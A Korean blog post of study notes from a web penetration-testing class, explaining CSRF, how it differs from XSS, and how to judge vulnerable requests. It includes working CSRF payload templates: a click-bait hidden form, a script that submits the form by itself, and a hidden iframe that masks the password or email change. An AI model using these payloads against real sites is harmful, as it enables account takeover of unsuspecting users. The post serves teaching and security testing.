본문 바로가기

웹 모의해킹 스터디/수업 정리

12주차 수업 정리 (CSRF, XSS와 CSRF 차이, CSRF 취약점, 공격 예시)

 

CSRF (Cross Site Request Forgery)

피해자가 서버로 임의의 요청을 하게 만드는 것

 

 

XSS vs CSRF

XSS : 클라이언트 측 스크립트를 삽입하는 공격

CSRF : 피해자가 서버로 공격자의 의도가 담긴 요청을 하게 만드는 공격 

 

보통 서치를 해보면 xss는 클라이언트 측 공격이고 csrf는 서버 측 공격이라고 설명하는 경우가 많은데 엄밀히 말하면 아님. 하지만 간혹 면접관분들이 이런 식으로 이해하고 있는 경우가 있으니 이렇게 얘기해도 되긴 함.

 

CSRF가 XSS를 만나면 파급력이 커짐 

CSRF를 설명할 때 XSS 형태로 보여주는 경우가 많은데, 이는 csrf가 xss를 만나면 파급력이 훨씬 커지기 때문임.

하지만 xss 형태 말고도 피해자에게 정보를 바꾸는 url (GET 방식)을 보내 클릭을 유도하는 등 다른 방식들이 존재함. 즉, csrf와 xss는 별개적으로 일어날 수 있는 공격인 것. 

 

 

CSRF 취약점 확인

CSRF는 요청을 위조하게 만드는 공격이므로 모든 요청에서 일어날 수 있음. 다만 모든 요청을 보내는 곳을 취약점으로 취급하는 것은 아니고 주로 공격자가 요청을 임의로 만들 수 있고, 컨설턴트가 이것이 위험도가 크다고 판단하면 csrf 취약점이 되는 것임. 

 

예를 들어 비밀번호를 바꾸는 URL이 https://어떤사이트.com/비밀번호변경페이지?newpw=1234&pw_conf=1234 의 형태로 파라미터에 새로 설정한 비밀번호(newpw)와 비밀번호 확인(pw_conf)만 있다면 공격자가 충분히 위조가 가능함

 

그러나 https://어떤사이트.com/비밀번호변경페이지?newpw=1234&pw_conf=1234&old_pw=asdfasdf 의 형태로 파라미터에 현재 비밀번호(old_pw)가 있다면 공격자는 피해자의 기존 비밀번호를 알 수 없으니 요청을 조작하기가 힘들 것이다. 이런 경우에는 취약점이 있다고 판단하지 않는다.

 

요청을 확인하고 요청에 인증 정보가 없다면 csrf 취약점이 될 확률이 매우 높아지는 것이다.

 

 

POST 방식으로 CSRF 공격하기

POST 방식은 form 태그를 사용해야하므로 결국 xss 취약점이 필요함.

 

대표적인 예시로 xss 취약점이 존재하는 곳에 

 

<h1>아래를 클릭해주세요</h1><br>

<form method="POST" action="요청 보낼 URL">

<input type="hidden" name="pw" value="공격자가 원하는 값">

<input type="submit" value="Click Me">

</form>

 

이런 식으로 비밀번호를 변경하는 폼태그를 작성해서 클릭을 유도하는 방법이 있다. 

 

하지만 보안 인식이 향상된 요즘같은 시대에 클릭하라고 해서 클릭하겠나 

 

전송을 자동화 시켜보자

 

<h1>아무 내용이나 입력</h1>

<form method="POST" action="요청 보낼 URL" id="myForm">

<input type="hidden" name="pw" value="공격자가 원하는 값">

</form>

<script>

document.getElementById('myForm').submit();

</script>

 

이렇게 작성하면 될 것이다. 하지만 이런 경우에는 비밀번호 변경 페이지로 리다이렉트되는 경우가 있다. 

게시글을 클릭했는데 다른 페이지로 리다이렉트 된다면 사용자는 또 의심을 할 것이다. 

 

그렇다면 요청을 처리하는 페이지를 iframe으로 가져와서 리다이렉트되는 것을 막아보자

 

<h1>아무 내용이나 입력</h1><br>

<iframe style="display:none;" name="changemail"></iframe>

<form method="POST" action="요청 보낼 URL" id="myForm" target="changemail">

<input type="hidden" name="email" value ="공격자가 원하는 값">

</form>

<script>

document.getElementById('myForm').submit();

</script>

 

iframe이 게시글에서는 안보이게 display:none;으로 설정하고, form 태그 요청이 갈 곳을 설정하기 위해 name 값을 준다. 그리고 form 태그에 target 속성에 해당 name 값을 주면 iframe으로 가져온 페이지로 요청이 날아간다. 

 

 

그 외에도 

<img src="요청 보내는 URL"> 이나

위 방식에서 <iframe>에 sandbox 속성을 추가해서 자바스크립트가 실행되지 않게 할 수 있다.